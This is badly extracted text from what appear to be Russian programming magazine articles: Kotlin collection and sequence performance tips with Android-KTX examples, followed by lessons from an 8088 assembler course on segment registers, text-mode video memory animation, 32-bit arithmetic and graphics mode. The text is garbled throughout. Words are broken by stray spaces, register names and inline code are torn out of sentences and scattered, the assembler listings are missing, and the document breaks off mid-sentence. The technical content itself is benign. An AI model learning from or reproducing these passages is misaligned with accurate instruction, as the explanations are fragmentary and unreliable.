Kotlin —  незави симый  язык,  поэто му  име ет  в  ком плек те  край не  ком пак тную
стан дар тную биб лиоте ку. Поч ти все API, при мити вы и реали зации кол лекций
дос тались  ему  от  Java.  Одна ко  кол лекции  Kotlin  бла года ря  фун кци ям‐рас‐ 
ширени ям гораз до более раз виты, под держи вают нам ного боль ше раз личных
опе раций и име ют неиз меня емые ана логи, нап ример MutableList и List.

Иерар хия кол лекций Kotlin

Од на из самых мощ ных осо бен ностей кол лекций Kotlin — встро енные средс‐ 
тва фун кци ональ ного прог рамми рова ния. В Kotlin мож но сде лать, нап ример,
так:

     val allowed = getPeople()
             .filter { it.age >= 21 }
         .map { it.name }
   .take(5)

Этот код возь мет спи сок объ ектов People, воз вра щен ный  , выб‐ 
росит из него все объ екты, зна чение поля age которых мень ше 21, затем пре‐ 
обра зует  этот  спи сок  в  спи сок  строк,  содер жащий  име на,  и  вер нет  пер вые
пять строк.

getPeople()

Осо бая кра сота это го кода в том, что он не тре бует исполь зовать какие‐то
новые  конс трук ции  вро де  стри мов  в  Java  8  и  всю  обра бот ку  выпол няет
с помощью стан дар тных ите рато ров. И в этом же его проб лема: каж дая фун‐ 
кция воз вра щает новый спи сок, что может быть очень нак ладно с точ ки зре‐ 
ния про изво дитель нос ти.

По это му в Kotlin так же сущес тву ет Sequence — ленивый ана лог Iterable:

     val allowed = getPeople().asSequence()
             .filter { it.age >= 21 }
         .map { it.name }
   .take(5)
   .toList()

В  отли чие  от  пре дыду щего,  этот  код  будет  обра баты вать  каж дый  эле мент
спис ка отдель но, до тех пор пока не наберет ся пять эле мен тов. В теории он
дол жен  серь езно  под нять  про изво дитель ность  кол лекции,  и  IDEA  /  Android‐
Studio даже под ска зыва ет, что кол лекцию сто ит пре обра зовать в Sequence.

В реаль нос ти же все нес коль ко слож нее. Раз работ чик AJ Alt про вел собс‐ 
твен ные  , исполь зуя сле дующий код:тес ты проз водитель нос ти

                       list.filter { true }.map { it }.filter { true }.map { it }

И код, исполь зующий Sequence:

list.asSequence()
                           .filter { true }.map { it }.filter { true }.map { it }
   .toList()

Ре зуль таты  ока зались  поч ти  оди нако вы.  Более  того,  пос ледова тель нос ти
дают  сов сем  нез начитель ный  выиг рыш  в  про изво дитель нос ти  на  корот ких
спис ках и про игры вают спис кам на очень длин ных. Что еще более инте рес но,
если  добавить  в  код  неболь шую  задер жку,  симули ровав  реаль ные  вычис‐ 
ления, раз ница про пада ет вов се.

Есть,  одна ко,  два  слу чая,  в  которых  пос ледова тель нос ти  выиг рыва ют
с очень боль шим отры вом: методы   и  . Про исхо дит так потому, что
поиск для пос ледова тель нос тей оста нав лива ется пос ле того, как нуж ный эле‐ 
мент най ден, но про дол жает ся для спис ков.

find first

Ре зуль таты тес та

Бесполезные оптимизации
За  вре мя  сущес тво вания  Kotlin  в  интерне те  появи лось  боль шое  количес тво
утвер жде ний о про изво дитель нос ти язы ка и советов по опти миза ции. Автор
статьи   про верил мно гие из них и получил
сле дующий резуль таты:

Kotlin’s hidden costs — Benchmarks

1. Лям бды Kotlin быс трее сво его ана лога в Java 8 на 30% (вне зависи мос ти
от исполь зования клю чево го сло ва inline).

2. Объ екты‐ком пань оны  (companion  object)  не  соз дают  никако го  овер хеда,
а дос туп к ним даже быс трее, чем к ста тичес ким полям и методам в Java.

3. Вло жен ные  фун кции  не  соз дают  овер хеда,  они  даже  нем ного  быс трее
обыч ных.

4. Пов семес тные  про вер ки  на  null  не  соз дают  овер хеда,  код  получа ется
более быс трый, чем код на Java.

5. Пе реда ча  мас сива  как  аргу мен та  фун кции,  ожи дающей  неоп ределен ное
чис ло  аргу мен тов  (vararg),  дей стви тель но  замед ляет  исполне ние  кода
в два раза.

6. Де лега ты работа ют на 10% мед ленней сво ей наибо лее эффектив ной эму‐ 
ляции на язы ке Java.

7. Ско рость  про хода  по  диапа зону  (range)  не  зависит  от  того,  вынесен  он
в отдель ную перемен ную или нет.

8. Вы несен ный в кон стан ту range все го на 3% быс трее ана лога в коде.
9. Конс трук ция    в  три  раза  быс трее  конс‐ 
трук ции  .

for (it in 1..10) { ... }

(1..10).forEach { ... }

БИБЛИОТЕКА ANDTROID-KTX
Вско ре  пос ле  объ явле ния  Kotlin  стан дар тным  язы ком  плат формы  Android
Google  выпус тила  биб лиоте ку    с  мас сой  полез ных  фун кций,  рас‐ 
ширя ющих  стан дар тный  Android  SDK.  Автор  статьи 
под готовил справ ку по этим фун кци ям. Некото рые из них я при веду здесь.

Android‐ktx
Exploring  KTX  for  Android

// Модификация настроек
 sharedPreferences.edit {

     putBoolean(key, value)
}

// Работа с временем и датами
     val day = DayOfWeek.FRIDAY.asInt()
       val (seconds, nanoseconds) = Instant.now()
           val (hour, minute, second, nanosecond) = LocalTime.now()
         val (years, month, days) = Period.ofDays(2)

// Создание бандлов
               val bundle = bundleOf("some_key" to 12, "another_key" to 15)

// Создание Content Values
               val contentValues = contentValuesOf("KEY_INT" to 1, "KEY_BOOLEAN" to

true)

// Работа с AtomicFile
     val fileBytes = atomicFile.readBytes()
         val text = atomicFile.readText(charset = Charset.defaultCharset())

atomicFile.writeBytes(byteArrayOf())
     atomicFile.writeText("some string", charset = Charset.defaultCharset

())

// SpannableString
     val builder = SpannableStringBuilder(urlString)

                     .bold { italic { underline { append("hi there") } } }

// Трансформация строки в URI
     val uri = urlString.toUri()

// Работа с Drawable и Bitmap
               

     
val bitmap = drawable.toBitmap(width = someWidth, height = someHeight
, config = bitMapConfig)

             val bitmap = someBitmap.scale(width, height, filter = true)

// Операции над объектом View
         view.postDelayed(delayInMillis = 200) { ... }

         view.postOnAnimationDelayed(delayInMillis = 200) { ... }
view.setPadding(16)

         val bitmap = view.toBitmap(config = bitmapConfig)

// ViewGroup
     viewGroup.forEach { doSomethingWithChild(it) }

     val view = viewGroup[0]

// Отступы
   view.updatePadding(left = newPadding)
   view.updatePadding(top = newPadding)

   view.updatePadding(right = newPadding)
   view.updatePadding(bottom = newPadding)

ВЫВОДЫ
Эта  статья  опи сыва ет  лишь  часть  инте рес ных  и  неоче вид ных  воз можнос тей
Kotlin.  Это  сво его  рода  сбор ник  быс трых  советов,  которых  не  хва тало  мне
в начале изу чения язы ка Kotlin. Наде юсь, они сос лужат тебе хорошую служ бу.

https://github.com/michaelbull/kotlin-result
https://medium.com/@ajalt/benchmarking-kotlin-sequences-e06d8bb4011c
https://sites.google.com/a/athaydes.com/renato-athaydes/posts/kotlinshiddencosts-benchmarks
https://github.com/android/android-ktx
https://medium.com/exploring-android/exploring-ktx-for-android-13a369795b51
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КОДИНГ

В этой статье я поз наком лю тебя с сег мен тной адре саци ей
и  сег мен тны ми  регис тра ми,  рас ска жу,  как  рас пре деля ется
пер вый  мегабайт  опе ратив ной  памяти  компь юте ра,  затем
мы  обсу дим  получе ние  пря мого  дос тупа  к  виде опа мяти
в  тек сто вом  режиме,  а  самое  глав ное —  понос таль гиру ем
по  филь му  «Хакер»!  Под  конец  напишем  пси ходе личес кую
прог рамму, которой позави дова ли бы его герои.

Другие статьи курса

• Пог ружение в assembler
• Де лаем пер вые шаги в осво ении асма
• Ос ваиваем ариф метичес кие инс трук ции
• Как  работа ют  перемен ные,  режимы  адре сации,  инс трук ции  условно го
перехо да

ЗНАКОМИМСЯ С СЕГМЕНТНЫМИ РЕГИСТРАМИ
Для  начала  раз берем ся,  что  такое  сег мен тные  регис тры.  Про цес‐ 
сор  8088  уме ет  адре совать  один  мегабайт  опе ратив ной  памяти,  нес мотря
на то что регис тры у него 16‐бит ные. В нор ме 16 битами мож но адре совать
толь ко 64 Кбайт. И как же тог да вык ручива ется 8088? Как ему уда ется адре‐ 
совать целый мегабайт? Для это го в 8088 есть сег мен тные регис тры! Четыре
сег мен тных  регис тра:  ,  ,    и  ,  по  16  бит  каж дый.  У  каж дого  из  этих
регис тров есть свое наз начение.

CS ES DS SS

Ре гистр   ука зыва ет на сег мент кода. Про цес сор обра щает ся к   вся кий
раз, ког да надо счи тать из памяти оче ред ную инс трук цию для выпол нения.

CS CS

Ре гис тры   и   ука зыва ют на сег мент дан ных. К этим регис трам про цес‐ 
сор  обра щает ся,  ког да  выпол няемая  инс трук ция  счи тыва ет  или  сох раня ет
дан ные.  Имей  в  виду:    исполь зует ся  чаще,  чем  .    обыч но  всту пает
в  игру,  ког да  ты  обра баты ваешь мас сивы  дан ных,  индекси руя  их  регис тром
.

DS ES

DS ES ES

DI
Ре гистр   ука зыва ет на сег мент сте ка. К это му регис тру про цес сор обра‐ 

щает ся,  ког да  выпол няет  инс трук ции,  вза имо дей ству ющие  со  сте ком:  ,
,   и  .

SS
push

pop call ret
Зна чения,  хра нимые  в  сег мен тных  регис трах,  —  это  базовый  адрес,

поделен ный  на  .  Если  в    записа но  зна чение  ,  про цес сор  будет
счи тывать инс трук ции из области памяти  . Если в регис‐ 
тре   записа но зна чение  , то про цес сор будет счи тывать инс трук ции
из области памяти  .

16 CS 0x0000
0x00000 — 0x0FFFF

CS 0x1000
0x10000 — 0x1FFFF

Ес ли тебе надо адре совать ся в какой‐то дру гой сег мент, а не тот, который
будет  задей ство ван  по  умол чанию,  напиши  этот  сег мент  в  пре фик се  к  инс‐ 
трук ции, которую исполь зуешь.

По мес тить какое‐то чис ло в сег мен тные регис тры нап рямую нель зя. Для это‐ 
го надо:

ли бо  сна чала  записать  чис ло  в  какой‐нибудь регистр и  уже  этот регистр
прис воить сег мен тно му регис тру;

•

ли бо вос поль зовать ся парой инс трук ций  ;• push/pop

ли бо вос поль зовать ся инс трук циями  .• lds/les

Про цес сор  8088  нас толь ко  лоялен,  что  поз волит  тебе  даже  вот  такую  инс‐ 
трук цию:  . Но толь ко имей в виду, что это нарушит поток выпол нения
инс трук ций. В более  новых  про цес сорах,  начиная  с  80286,  такую дивер сию
сде лать уже не получит ся. И сла ва богу!

pop cs

Ну  вот  вро де  бы  и  все,  что  тебе  надо  знать  о  сег мен тных  регис трах.
Теперь ты с их помощью (в основном с помощью регис тров   и  ) можешь
получать дос туп ко все му пер вому мегабай ту памяти ПК.

DS ES

КАК ПК РАСПРЕДЕЛЯЕТ ПАМЯТЬ
По нима ние того, как рас пре деля ется память в ПК, поможет тебе делать раз‐ 
ные инте рес ные вещи.

На чало  заг рузки  у  всех  компь юте ров  оди нако вое:  они  сна чала  перехо дят
в тек сто вый цвет ной режим  . К виде опа мяти экра на, который работа ет
в таком режиме, мож но обра щать ся нап рямую, через вот этот диапа зон адре‐ 
сов:  .

80x25

0xB8000 — 0xB8FFF
Пер вый байт диапа зона — это пер вый сим вол в вер хнем левом углу экра‐ 

на.  Вто рой  байт  —  это  цвет  фона  под  сим волом  и  цвет  самого  сим вола.
Затем  (треть им  бай том)  идет  вто рой  сим вол.  И  так  для  всех  25  строк
по 80 сим волов каж дая.

INFO

Ис торичес кий  факт.  IBM  PC  образца  1981  года
пос тавлял ся  в  двух  модифи каци ях:  с  монох‐ 
ромным  режимом  и  с  цвет ным  режимом.  Тог‐ 
дашним  раз работ чикам  игру шек  при ходи лось
при думы вать  раз ные  эвристи ки,  что бы  понять,
какая  у  компь юте ра  гра фика  —  монох ромная
или  цвет ная.  Нес коль ко  ста рых  доб рых  игру шек
для это го писали какую‐нибудь циф ру по адре су

 и счи тыва ли ее обратно, что бы узнать,
в каком режиме сей час идет работа — в цвет ном
или в монох ромном.

0xB8000

ПРЯМОЙ ДОСТУП К ВИДЕОПАМЯТИ В ТЕКСТОВОМ РЕЖИМЕ
Пе ред  тем  как мы  смо жем  нап рямую обра щать ся  к  виде опа мяти  экра на,  то
есть  без  исполь зования  сер висов  BIOS,  надо  задать  нуж ный  нам  виде оре‐ 
жим.

В этом режиме виде опа мять экра на дос тупна по адре су  . Теперь ты
можешь лег ко получить дос туп к ней. При мер но так, как в коде ниже.

0xB8000

Об рати вни мание, что пос ле того, как ты выпол нил этот кусок кода, ты не смо‐ 
жешь  обра щать ся  к  перемен ным,  которые  сох раня ешь  в  сег менте  кода,
как мы это делали в при мерах из прош лых уро ков. Потому что   и   теперь
нацеле ны не на сег мент кода, а на виде опа мять.

DS ES

Как  же  быть?  Как  вари ант,  мож но  перед  тем,  как  нацели вать    и 
на виде опа мять, сох ранить их зна чение на сте ке. Потом нацелить ся на виде‐ 
опа мять и вывес ти нуж ные дан ные на экран. А пос ле это го снять со сте ка сох‐ 
ранен ный ука затель и сно ва помес тить его в   и  .

DS ES

DS ES

Ви деопа мять,  которая  отоб ража ется  на  экран,  орга низо вана  вот  таким  вот
обра зом.

Здесь на  каж дый сим вол отве дено по два бай та. Пер вый байт — это ASCII‐
код бук вы. А вто рой — цвет фона и сим вола.

Ко диров ка цве тов сле дующая.

А теперь давай пос мотрим все это на живом при мере. Напиши и выпол ни вот
такой код.

Мы здесь задей ство вали пароч ку новых инс трук ций:   и  . Инс трук ция
  очи щает  флаг  нап равле ния.  Зачем  нужен  этот  флаг?  Некото рые  прод‐ 

винутые инс трук ции (мно гоша говые) исполь зуют его, что бы понять, что нуж но
делать с регис тра ми   и   пос ле оче ред ного шага выпол нения: уве личи вать
их или умень шать.

cld stosw
cld

SI DI

Инс трук ция    записы вает  зна чение  регис тра    по  адре су 
и уве личи вает регистр   на два (раз мер сло ва — сдво енно го бай та). Обра ти
вни мание: если флаг нап равле ния уста нов лен в еди ницу (это мож но сде лать
инс трук цией  ),  то  та  же  самая  инс трук ция  будет  не  уве личи вать  ,
а  умень шать.  Тоже  на  два.  Поэто му  мы  сна чала  исполь зуем  ,  пос коль ку
не зна ем, какое на дан ный момент зна чение у фла га нап равле ния.

stosw AX ES:DI
DI

sed DI
cld

Вся кий раз, ког да мы заг ружа ем  , у нас   содер жит саму бук ву, которую
надо нарисо вать на экра не, а   — цвет сим вола и цвет его фона (в дан ном
слу чае синий фон и раз ные цве та для каж дой бук вы).

AX AL
AH

Ког да мы пишем сло во (сдво енный байт) в память, млад ший байт всег да
пишет ся  пер вым  (в  дан ном  слу чае  зна чение  регис тра  ),  а  стар ший  байт
идет сле дом (в дан ном слу чае зна чение регис тра  ).

AL
AH

Та ким  обра зом,  пос ле  того  как  весь  наш  текст  записан  в  виде опа мять,
память будет запол нена вот так.

Те перь ты уме ешь рисовать на экра не цвет ные бук вы. При желании можешь
поэк спе римен тировать  с  сим волами  псев догра фики,  которые  дос тупны
в BIOS.

Кста ти,  на  вся кий  слу чай  имей  в  виду,  что  в  8088  еще  есть  инс трук ция
. Она работа ет так же, как  , но толь ко не со сло вами (сдво енны ми

бай тами), а с бай тами.    пишет зна чение регис тра   по адре су 
и  уве личи вает    на  еди ницу  (или  умень шает,  если флаг  нап равле ния  уста‐ 
нов лен в еди ницу).

stosb stosw
stosb AL ES:DI

DI

РИСУЕМ ПСИХОДЕЛИЧЕСКИЕ КРУГИ
А  теперь  перехо дим  к  самому  инте рес ному!  Сей час  напишем  прог рамму,
которая рису ет пси ходе личес кие кру ги,  как в филь ме «Хакер». Пом нишь там
эпи зод, где наши с тобой кол леги вос хища ются «мил лионом пси ходе личес ких
оттенков» на ноуте Кис лотно го Ожо га?

Мы  нарису ем  то  же  самое,  но  в  клас сичес ком  тек сто вом  режиме,  в  раз‐ 
решении 80 × 25 с 16 цве тами для фона и тек ста. Итак, прис тупим.

Сна чала ини циали зиру ем виде оре жим и нас тра иваем сег менты на виде‐ 
опа мять экра на.

По том  ини циали зиру ем  тай мер,  который  поможет  добавить  динами ки
к нашей пси ходе личес кой ани мации. Зачем он нам? Что бы на пер вых 32 кад‐ 
рах ани мации рисовать уве личи вающиеся кру ги, а на осталь ных 32 — умень‐ 
шающиеся.

Что тут про исхо дит? Сер вис   пре рыва ния   счи тыва ет, сколь ко тиков
прош ло с того момен та, как была заг ружена сис тема. Резуль тат воз вра щает‐ 
ся в 32‐бит ном виде, помеща ется в пару регис тров:  .

0x00 0x1A

CX:DX
Пос коль ку  для  наших  нужд  надо  вес ти  счет  толь ко  от    до    и  затем

обратно, мы про веря ем шес той бит ( ), и если он уста нов лен в еди ницу,
то добав ляем к текуще му зна чению счет чика знак минус.

0 63
0x40

За тем инс трук цией   выделя ем шесть млад ших битов и при
помощи вычита ния при водим зна ковое 8‐бит ное зна чение к диапа зону 

,  которое  затем  рас ширя ем  до  сло ва  (до  сдво енно го  бай та).  Резуль тат
помеща ем в  .

and al, 0x3F
‐32..

+31
CX

А  теперь  самое  инте рес ное.  Вычис ляем  парамет ры  текуще го  шага  ани‐ 
мации и отри совы ваем ее.

Что мы тут дела ем? В    у нас будет  хра нить ся  текущая позиция на экра не,
куда выводить сим вол. Сна чала сбра сыва ем ее в  , что бы рисовать начиная
с левого вер хне го угла. В   и   будем хра нить номер стро ки и стол бца. А в
 у нас будет адрес таб лицы синусов (ее покажу чуть поз же).

DI
0

DH DL
BX

Те перь,  ког да  мы  про ини циали зиро вали  все  нуж ные  перемен ные,  нам
надо  вычис лить  с  помощью  таб лицы  синусов,  каким  цве том  отри совы вать
сим вол (у нас это будет звез дочка) в оче ред ной позиции экра на. Что бы в ито‐ 
ге получи лись кру ги.

Для это го дела ем вот что. Берем номер текущей стро ки (из  ). Умно жаем
его  на  два,  что бы  кру ги  были  кру гами,  а  не  ова лами.  По  это му  зна чению
извле каем синус из таб лицы сим волов (смот ри инс трук цию  ).

DH

xlat
Что  это  за  инс трук ция  такая,  ?  Ее  мне мони ка  —  это  сок ращение

от  сло ва  translate.  Она  счи тыва ет  байт  с  адре са    и  помеща ет  его
в регистр  . То есть дела ет то же самое, что инс трук ция  ,
но толь ко более лаконич но. Перед тем как обра щать ся к  , надо сна чала
заг рузить в   адрес таб лицы, а в   — индекс нуж ного нам эле мен та из этой
таб лицы.

xlat
BX+AL

AL mov, al, [bx+al]
xlat

BX AL

Об рати вни мание на пре фикс  ,  который сто ит перед  . Он  говорит
про цес сору, что сей час при счи тыва нии дан ных надо обра щать ся к кодово му
сег менту.  Без  пре фик са    дан ные  будут  счи таны  из  сег мента,  на  который
ука зыва ет регистр  . И получит ся белибер да, потому что   сей час ука зыва‐ 
ет на экран, а не на код, где раз мещена таб лица синусов. Пос ле того как мы
извлек ли зна чение синуса, сох раня ем его на сте ке (смот ри инс трук цию 
).

CS xlat

CS
DS DS

push 
ax

На этом пол дела сде лано. Мы взя ли номер текущей стро ки  ( ) и вычис‐ 
лили по нему синус. Даль ше дела ем то же самое для номера текуще го стол‐ 
бца ( ). В ито ге у нас получа ется два зна чения синуса. Одно сей час хра нит‐ 
ся в регис тре  , а дру гое лежит на сте ке.

DH

DL
AX

По это му мы сни маем со сте ка пре дыду щее зна чение синуса (смот ри инс‐ 
трук цию  ) и скла дыва ем с текущим зна чени ем синуса, которое сей час
хра нит ся в  . И еще плю суем к ним текущее вре мя (в тиках, от момен та вклю‐ 
чения  компь юте ра).  Млад ший  байт  получен ного  резуль тата  —  это  и  есть
иско мое зна чение цве та (цвет фона + цвет тек ста).

pop DX
AX

На деюсь,  ты  не  забыл,  что  всю  эту  чехар ду  с  синуса ми  мы  зате яли
для  того,  что бы вычис лить,  каким цве том отри совы вать звез дочку в оче ред‐ 
ной позиции экра на и получить в ито ге кру ги?

Итак,  нуж ный  цвет  мы  вычис лили  и  теперь  выводим  звез дочку  на  экран:
. Затем добав ляем к   двой ку,  что бы перей ти на сле дующую

позицию экра на — где будем рисовать новую звез дочку, но уже дру гим цве‐ 
том. Ты ведь пом нишь, что у нас на каж дый сим вол отво дит ся по два бай та?

mov [di], ax DI

На конец,  зак лючитель ный  штрих:  кор ректи руем  номера  текущей  стро ки
и текуще го стол бца и перехо дим к сле дующей ите рации цик ла.

Что мы тут дела ем? Сна чала берем номера текущих стро ки и стол бца (их мы
сох ранили  на  сте ке).  Помеща ем  их  в  .  Затем  при бав ляем  еди ницу  к  .
Если резуль тат получил ся мень ше 80 (столь ко стол бцов у нас на экра не), то
пов торя ем цикл. А если дос читали до 80, то перехо дим на сле дующую стро ку:
уве личи ваем   на еди ницу, а   обну ляем. Но дела ем этот пос ледний шаг,
толь ко  если  не  дос читали  до  25.  А  если  в    у  нас  уже  25,  то  перехо дим
в  самое  начало  прог раммы  (смот ри  мет ку  )  и  начина ем  все
заново.

DX DL

DH DL
DH
@@main_loop

В  ито ге  получа ется  ани мация  с  пси ходе личес кими  кру гами,  которые  то
рас тут, то умень шают ся.

Кадр из нашей прог раммы

ВЫВОДЫ
Те перь ты уме ешь работать с памятью, поп ракти ковал ся в сег мен тной адре‐ 
сации,  получил  пря мой  дос туп  к  виде опа мяти  экра на  в  тек сто вом  режиме.
А так же нарисо вал сво ими руками пси ходе личес кую ани мацию. Ты теперь уже
неп лохо  вла деешь  ассем бле ром. Поз драв ляю! И  до  встре чи  на  сле дующем
уро ке!

mailto:vedacoder@mail.ru
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КОДИНГ

Как  ты  зна ешь,  регис тры  про цес сора  8088  —  16‐бит ные.
Одна ко  при  необ ходимос ти  ты можешь  работать  через  эти
регис тры  не  толь ко  с  16‐бит ными  чис лами,  но  и  с  чис лами
боль шей раз ряднос ти: и с 32‐бит ными, и даже более  круп‐ 
ными.  В  этой  статье  я  сна чала  рас ска жу  как,  а  затем  мы
нарису ем зна мени тый фрак тал — мно жес тво Ман дель бро та.

Другие статьи курса

• Пог ружение в assembler
• Де лаем пер вые шаги в осво ении асма
• Ос ваиваем ариф метичес кие инс трук ции
• Как  работа ют  перемен ные,  режимы  адре сации,  инс трук ции  условно го
перехо да

• Учим ся работать с памятью

ПРОСТЕЙШИЕ ОПЕРАЦИИ НАД 32-БИТНЫМИ ЧИСЛАМИ
Сра зу воз ника ет воп рос: если регис тры у нас 16‐бит ные, то как с их помощью
обра баты вать 32‐бит ные чис ла? Ответ оче виден: мы прос то будем задавать
каж дое чис ло не одним регис тром, а сра зу дву мя.

Толь ко  нам  надо  сна чала  опре делить ся,  какими  регис тра ми  и  как  мы
будем  для  это го  поль зовать ся.  Давай  не  ста нем  изоб ретать  велоси пед,
а поищем под сказ ки в самом про цес соре 8088.

У  8088  есть  инс трук ция  ,  которая  умно жает    на  16‐бит ный  регистр
и кла дет резуль тат в  . Так же у него есть инс трук ция  , которая делит

 на 16‐бит ный регистр; резуль тат попада ет  в регистр  ,  а  оста ток —
в  . Еще у 8088 есть инс трук ция  . Она кон верти рует зна ковое 16‐бит ное
чис ло из регис тра   в 32‐бит ное чис ло  .

mul AX
DX:AX div

DX:AX AX
DX cwd

AX DX:AX
Да вай и мы, по при меру этих трех инс трук ций, тоже будем хра нить 32‐бит‐ 

ные чис ла в    (в   стар шее сло во, в   — млад шее). Но что бы выпол‐ 
нять ариф метичес кие опе рации, нам нуж но еще одно 32‐бит ное чис ло. Его,
по ана логии с пер вым, будем хра нить в    (в    стар шее сло во,  в   —
млад шее).

DX:AX DX AX

CX:BX CX BX

Ну вот, мы с тобой усло вились, где и как хра нить 32‐бит ные чис ла. Теперь
давай  реали зуем  для  них  опе рацию  сло жения  и  опе рацию  вычита ния.
Для это го нам при годят ся инс трук ции   и  . Вот так выг лядит сло жение.adc sbb

Удив лен, что опе рация сло жения у нас заняла все го две инс трук ции? Сей час
объ ясню, что тут про исхо дит. Дело в том, что, ког да ты выпол няешь инс трук‐ 
цию  , она не толь ко скла дыва ет два чис ла, но и изме няет флаг перено са.
Ког да  резуль тат  опе рации  сло жения  не  уме щает ся  в  сдво енный  байт,  инс‐ 
трук ция    помеща ет  стар шую  циф ру  резуль тата  (это  всег да  еди ница)
во флаг перено са.

add

add

Инс трук ция   выпол няет вот такую опе рацию: 
,  то  есть  при бав ляет  к  ито гово му  резуль тату  то  зна чение,  которое

хра нит ся во фла ге перено са.

adc dx, cx DX = DX + CX + 
перенос

Те перь давай реали зуем вычита ние 32‐бит ных  чисел по  такому же прин‐ 
ципу.

Что тут про исхо дит? Инс трук ция   вычита ет из одно го чис ла дру гое, а еще
изме няет флаг перено са. Ког да опе рация вычита ния дела ет «заем» из сосед‐ 
него раз ряда, флаг перено са уста нав лива ется в еди ницу.

sub

Инс трук ция   выпол няет вот такую опе рацию: 
, то есть вычита ет из ито гово го резуль тата то зна чение, которое хра‐ 

нит ся во фла ге перено са.

sbb dx, cx DX = DX – CX – 
перенос

Мы  с  тобой  успешно  реали зова ли  опе рации  сло жения  и  вычита ния.
Теперь  давай  реали зуем  логичес кое  инверти рова ние  и  ариф метичес кое
инверти рова ние.

Что бы  сде лать  логичес кое  инверти рова ние  32‐бит ного  чис ла  ( ),  нам
надо прос то перек лючить все биты чис ла на про тиво полож ные.

not

Ес ли  тре бует ся  выпол нить  ариф метичес кое  инверти рова ние  ( ),  то  есть
поменять знак чис ла, нуж но сде лать  то же самое, но  толь ко при бавить еди‐ 
ницу к резуль тату.

neg

РЕАЛИЗУЕМ ОПЕРАЦИЮ УМНОЖЕНИЯ ДВУХ 32-БИТНЫХ ЧИСЕЛ
А  теперь давай реали зуем опе рацию умно жения. Это  уже будет пос ложнее.
Здесь нуж но вспом нить то, что ты изу чал в началь ной шко ле.

Ты же, наде юсь, еще не разучил ся умно жать чис ла в стол бик? На вся кий слу‐ 
чай напом ню, что мы тут дела ем.

По оче ред но, спра ва налево, умно жаем каж дую циф ру мно жимо го на вто‐ 
рую циф ру мно жите ля. Так у нас получа ется пер вая строч ка про межу точ ного
резуль тата.  Затем  умно жаем  каж дую  циф ру  мно жимо го  на  пер вую  циф ру
мно жите ля. Так у нас получа ется вто рая строч ка про межу точ ного резуль тата.
Затем сдви гаем вто рую строч ку на один раз ряд вле во и сум миру ем два про‐ 
межу точ ных резуль тата.

По луча ется, что бы перем ножить два двуз начных чис ла, нам нуж но выпол‐ 
нить четыре опе рации умно жения. А если надо перем ножить чис ла боль шей
раз ряднос ти, то опе раций умно жения пот ребу ется еще боль ше.

Но  это  если  «в  роли  циф ры»  у  нас  выс тупа ют  циф ры  от    до  .  Одна ко,
зная, что у про цес сора 8088 есть инс трук ция для умно жения 16‐бит ных чисел,
мы  для  удобс тва  можем  в  сво ем  алго рит ме  умно жения  «наз начить  на  роль
циф ры»  сдво енный  байт.  То  есть  будем  счи тать  зна чения  вро‐ 
де 0x6725 и 0x1561 не чис лами, а циф рами!
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По чему это удоб нее? Потому что для умно жения двух 32‐бит ных чисел (по
две 16‐бит ные циф ры на каж дое) нам понадо бит ся все го четыре инс трук ции
умно жения. Тог да умно жение двух 32‐бит ных чисел мож но будет реали зовать
вот так.

Ум ножение,  конеч но,  выг лядит  слож новато  по  срав нению  со  сло жени ем
и вычита нием. Но не пережи вай, сей час все объ ясню. Здесь весь алго ритм
раз делен  на  четыре  опе рации  умно жения:  по  одной  на  каж дое  16‐бит ное
сло во. Точ но так же, как на рисун ке с умно жени ем в стол бик.

Кста ти, если такой же алго ритм реали зовы вать на 32‐бит ном про цес соре,
его мож но рас ширить до опе раций над 64‐бит ными чис лами,  а если на 64‐
бит ном про цес соре, то над 128‐бит ными чис лами.

Но  давай  вер немся  к  нашему  16‐бит ному  алго рит му.  Обра ти  вни мание,
здесь  под  резуль тат  отво дит ся  толь ко  48  бит.  А  это  зна чит,  что  если  умно‐ 
жить,  допус тим,    на  ,  то  стар шие  два  бай та  потеря‐ 
ются.  Что бы  они  не  терялись,  нуж но  64  бита,  а  не  48.  Можешь  в  качес тве
домаш него задания доделать фун кцию — что бы она воз вра щала 64‐бит ный
резуль тат.

0xFFFFFFFF 0xFFFFFFFF

ЗНАКОМИМСЯ С ГРАФИЧЕСКИМ ВИДЕОРЕЖИМОМ
Мы реали зова ли пять опе раций для работы с 32‐бит ными чис лами: сло жение,
вычита ние,  логичес кую  инверсию,  ариф метичес кую  инверсию,  умно жение.
Давай ско рее при меним их на какой‐нибудь инте рес ной задаче!

Соз дадим  прог рамму,  которая  с  их  помощью  рису ет  изоб ражение.  Точ‐ 
нее, две прог раммы: прос тень кую и слож ную. Прос тень кая прог рамма будет
рисовать  на  экра не  цве товую  палит ру.  Ее мы  напишем,  что бы  разоб рать ся,
как работать с гра фичес ким режимом. А потом при мем ся за прог рамму пос‐ 
ложнее, в которой для рисова ния исполь зует ся насыщен ная матема тика.

До  сих  пор мы работа ли  толь ко  в  тек сто вом режиме  (80 ×  25),  а  сей час
порабо таем  в  гра фичес ком  режиме,  с  раз решени ем  320  на  200  пик селей
и с 256 цве тами. В этом режиме виде опа мять экра на рас положе на по адре су

. Как к ней получить дос туп? Прос то заг рузи в регис тры 
и   зна чение  .
0xA0000–0xAFFFF DS
ES 0xA000

А теперь зададим положе ние текуще го пик селя на экра не.

Даль ше вычис ляем адрес оче ред ного пик селя для рисова ния.

Те перь у нас есть адрес текуще го пик селя ( , или  ).0–63 999 0x0000–0xF9FF

Об рати вни мание на инс трук цию  . Она у нас здесь меня ет зна чение двух
регис тров:   и  . Но то зна чение, которое теперь записа но в регис тре  ,
нам не нуж но. Нам надо толь ко помес тить в   зна чение  . Зачем же тог да
нам  ? Почему бы не написать прос той  ? Потому что   поз воля ет
сэконо мить  один  байт.  Инс трук ция    исполь зует  два  бай та,
а   — один.   всег да эко номит нам байт, ког да один из опе ран дов —
это  , а дру гой — еще какой‐то 16‐бит ный регистр.

xchg
AX DI DI

DI AX
xchg mov xchg

mov  di,  ax
xchg xchg
AX
Те перь вычис лим цвет текуще го пик селя и выведем его на экран. При чем

вычис лим так, что бы цве та выводи лись квад ратика ми 16 × 16 пик селей.

Что тут дела ем? Берем по четыре бита от двух коор динат и на их осно ве выс‐ 
читыва ем  цвет  в  диапа зоне  от    до    (два  раза  по  четыре  бита  —
это восемь бит; вот и получа ется нуж ный диапа зон). Вычис лив текущий цвет,
выводим  пик сель  на  экран.  Выводим  по  адре су,  на  который  ука зыва ет
регистр  . Этот адрес мы вычис лили на пре дыду щем шаге.
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DI
А даль ше прос то зак ручива ем двой ной цикл,  который про бега ет по всем

